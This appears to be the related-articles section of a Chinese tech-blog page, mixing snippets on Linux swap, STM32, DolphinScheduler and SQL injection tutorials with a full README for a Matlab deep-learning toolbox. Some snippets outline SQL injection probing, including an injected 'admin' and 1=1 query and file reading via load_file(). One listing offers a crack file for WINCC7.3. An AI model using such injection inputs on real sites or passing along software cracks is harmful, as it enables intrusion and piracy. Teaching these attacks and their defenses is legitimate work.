Swap 概念: Linux中Swap(即:交换分区),类似于Windows的虚拟内存,就是当内存不足的时候,把一部分硬盘空间虚拟成内存使用,从而解决内存容量不足的情况。它的功能就是在内存不够的情况下,操作系统先把内存中暂时不用的数据,存到硬盘的交换空间,腾出内存来让别的程序运行。当输入编译命令make -j16 的时候,会有如下提示,这是官方建议通过减少编译线程来解决编译时消耗内存过大的问题。Android 13 系统的编译流程,编译一共分为两部分:内核编译与 Android 编译。

公众号:嵌入式分享 2111

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 5619

从零开始使用CubeMX配置STM32使用lwip实现httpd服务器以及使用vscode编辑阅读keil代码(三)

使用stm32搭载lwip实现HTTPd服务器

qq_30623327的博客 5933

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

weixin_51725318的博客 6562

华为OD机试真题 新系统2026-04-08 Python&JS 实现【直捣黄龙】

小王在玩一款叫做直捣黄龙的小游戏,在该游戏中他需要从入口位置进入敌营,绕过哨兵的层层封锁,达到敌军司令部实施斩首行动。 敌军阵营是一个n*n的矩阵,入口在坐标(0,n/2),敌军司令部在坐标(n-1,n/2),每个哨兵警戒以自己为中心的9宫格,一旦被哨兵发现则行动失败。

MISAYAONE的博客 588

2万字长文:海豚调度器(DolphinScheduler)面试题深入了解

DAG图(有向无环图)是海豚调度器中表示工作流任务依赖关系的一种方式。在DolphinScheduler中,每个任务是一个节点,任务之间的依赖关系通过有向边连接这些节点来表示。无环:保证了工作流的执行顺序是确定的,避免了无限循环的问题。有向:箭头指示了任务的执行方向,即上一个任务的输出可以作为下一个任务的输入。依赖表示:通过图形化界面,用户可以通过拖拽连接线来定义任务之间的先后顺序和依赖关系。并行处理:DAG图可以表示出任务的并行关系,允许多个任务在没有直接依赖关系的情况下同时执行。条件分支。

大模型大数据攻城狮的专栏 1330

SQL注入之SQL盲注(非常详细),零基础入门到精通,看这一篇就够了

SQL注入之SQL盲注(非常详细),零基础入门到精通,看这一篇就够了

weixin_51725318的博客 2377

超简单五步实现VOS3000客户端呼入配置

1.查看SIP代理  在注册管理中查看自己线路注册的SIP代理IP地址,记录下来。 2.创建普通账户  创建一个呼入使用的普通账号,选择“计费费率”,根据自己情况选择费率,这里做测试就配置了免费的费率,如果费率不是免费,需要给这个普通账户充值。 3.新建对接网关 新建一个对接网关,点击该网关的“补充设置”,选择“网关类型”为静态IP,然后在IP地址栏填上刚才在注册管理里面记录的SIP代...

非著名运维的博客 1万+

SQL注入绕过技巧(非常详细),零基础入门到精通,看这一篇就够了

SQL注入绕过技巧(非常详细),零基础入门到精通,看这一篇就够了

weixin_51725318的博客 2164

python实现马丁策略(股市) (附完整源码)

python实现马丁策略(股市) (附完整源码)

希望我的博客,能帮上你解决学习中工作中所遇到的问题 603

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

sql注入防范措施(非常详细),零基础入门到精通,看这一篇就够了

sql注入防范措施(非常详细),零基础入门到精通,看这一篇就够了

2302_76672693的博客 2380

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

玩转SQL注入,想零基础入门到精通(超详细),收藏这一篇就够了

玩转SQL注入,想零基础入门到精通(超详细),收藏这一篇就够了

Cairo_A的博客 1867

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

sql注入防范措施(非常详细),零基础入门到精通,看这一篇就够了_sql注入防御方式

本文介绍了10种防止SQL注入攻击的方法,包括使用参数化查询、输入验证和过滤、存储过程、最小权限原则、ORM框架、准备语句、安全的数据库连接、避免动态拼接SQL语句、使用防火墙和入侵检测系统以及定期更新和维护数据库软件。输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。需要注意的是,具体的代码实现可能因使用的数据库驱动库而有所不同,但核心思想是相同的:使用PreparedStatement来执行参数化查询,将用户输入作为参数传递给查询,而不是直接拼接到查询字符串中,以提高应用程序的安全性。

程序员阿飘 的博客 1901

SQL 三种注入方式详解,零基础入门到精通(超详细),看这一篇就够了!

SQL注入攻击是通过构造特殊输入参数,利用未严格过滤用户输入的Web应用程序漏洞执行恶意SQL语句的攻击方式。主要分为数字型注入(参数为整型)和字符型注入(参数为字符串),两者区别在于闭合方式不同。攻击者可通过错误消息、元数据获取和ORDER BY子句等方式探测数据库结构。常见攻击目标包括Oracle、MySQL和SQL Server等数据库,利用方式包括查询数据、读写文件和执行命令。防御的关键在于严格校验和过滤用户输入数据。

fly_enum的博客 1045

什么是SQL注入?SQL注入详解(非常详细)零基础入门到精通,收藏这一篇就够了

注意,在上面这个mapper文件中,只有一个select语句,而这个语句传参使用了符号$,它会把参数值直接进行替换,而不会进行预编译(如果使用占位符#,就会进行预编译,从而可以防止SQL注入)。(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;这显然是不对的,接口把查询范围之外的数据都搜索出来了,如果还有一些修改数据或者操纵数据库的一些命令,那就更危险了。

weixin_45840241的博客 4万+

SQL 三种注入方式详解,(非常详细)零基础入门到精通,收藏这一篇就够了

MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

Javachichi的博客 8850
上一篇: 安全运维工程师需要掌握什么知识(非常详细),零基础入门到精通,看这一篇就够了
下一篇: 给应届安全研究员的一些建议(非常详细),零基础入门到精通,看这一篇就够了
黑客老许
博客等级 码龄8年 6153粉丝 1028原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值